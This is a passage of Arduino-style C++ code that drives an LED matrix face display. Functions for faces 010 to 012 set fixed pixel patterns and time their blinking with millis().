\n strip.setPixelColor(107, color); \n strip.setPixelColor(108, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(146, color); \n strip.setPixelColor(147, color); \n strip.setPixelColor(148, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(155, color); \n strip.setPixelColor(156, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(225, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(228, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(236, color); \n strip.setPixelColor(275, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(291, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(355, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(363, color); \n strip.setPixelColor(364, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(404, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(476, color); \n strip.setPixelColor(480, color); \n strip.setPixelColor(481, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(483, color); \n strip.setPixelColor(484, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(489, color); \n strip.setPixelColor(490, color); \n strip.setPixelColor(491, color); \n strip.setPixelColor(492, color);\n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face009BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face009 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face009BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face010 ---------------------------------------------------------------------------------------------\nvoid Face010()\n{\n if (Face010RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(4, color); \n strip.setPixelColor(5, color); \n strip.setPixelColor(12, color); \n strip.setPixelColor(13, color); \n strip.setPixelColor(20, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(43, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(61, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(75, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(83, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(128, color); \n strip.setPixelColor(129, color); \n strip.setPixelColor(136, color); \n strip.setPixelColor(137, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(242, color); \n strip.setPixelColor(243, color); \n strip.setPixelColor(268, color); \n strip.setPixelColor(269, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(299, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(307, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(339, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(374, color); \n strip.setPixelColor(375, color); \n strip.setPixelColor(382, color); \n strip.setPixelColor(383, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(473, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(490, color); \n strip.setPixelColor(491, color); \n strip.setPixelColor(498, color); \n strip.setPixelColor(499, color); \n strip.setPixelColor(506, color); \n strip.setPixelColor(507, color);\n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = true; \/\/ Face010 - this face\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face010BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face010 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(4, color); \n strip.setPixelColor(5, color); \n strip.setPixelColor(12, color); \n strip.setPixelColor(13, color); \n strip.setPixelColor(20, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(43, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(61, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(75, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(83, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(128, color); \n strip.setPixelColor(129, color); \n strip.setPixelColor(136, color); \n strip.setPixelColor(137, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(242, color); \n strip.setPixelColor(243, color); \n strip.setPixelColor(268, color); \n strip.setPixelColor(269, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(299, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(307, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(339, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(374, color); \n strip.setPixelColor(375, color); \n strip.setPixelColor(382, color); \n strip.setPixelColor(383, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(473, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(490, color); \n strip.setPixelColor(491, color); \n strip.setPixelColor(498, color); \n strip.setPixelColor(499, color); \n strip.setPixelColor(506, color); \n strip.setPixelColor(507, color);\n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face010BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face010 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face010BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face011 ---------------------------------------------------------------------------------------------\nvoid Face011()\n{\n if (Face011RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(43, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(51, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(75, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(83, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(173, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(181, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(205, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(213, color); \n strip.setPixelColor(299, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(307, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(331, color); \n strip.setPixelColor(332, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(339, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(429, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(437, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(461, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(469, color);\n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = true; \/\/ Face011 - this face\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face011BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face011 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(43, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(51, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(75, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(83, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(172, color); \n strip.setPixelColor(173, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(181, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(205, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(213, color); \n strip.setPixelColor(299, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(307, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(331, color); \n strip.setPixelColor(332, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(339, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(429, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(437, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(461, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(469, color);\n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face011BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face011 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face011BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face012 ---------------------------------------------------------------------------------------------\nvoid Face012()\n{\n if (Face012RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(14, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(31, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(160, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(496, color); \n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = true; \/\/ Face012 - this face\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face012BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face012 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(14, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(31, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(160, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(496, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face012BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face012 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face012BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face013 ---------------------------------------------------------------------------------------------\nvoid Face013()\n{\n if (Face013RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(75, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(83, color); 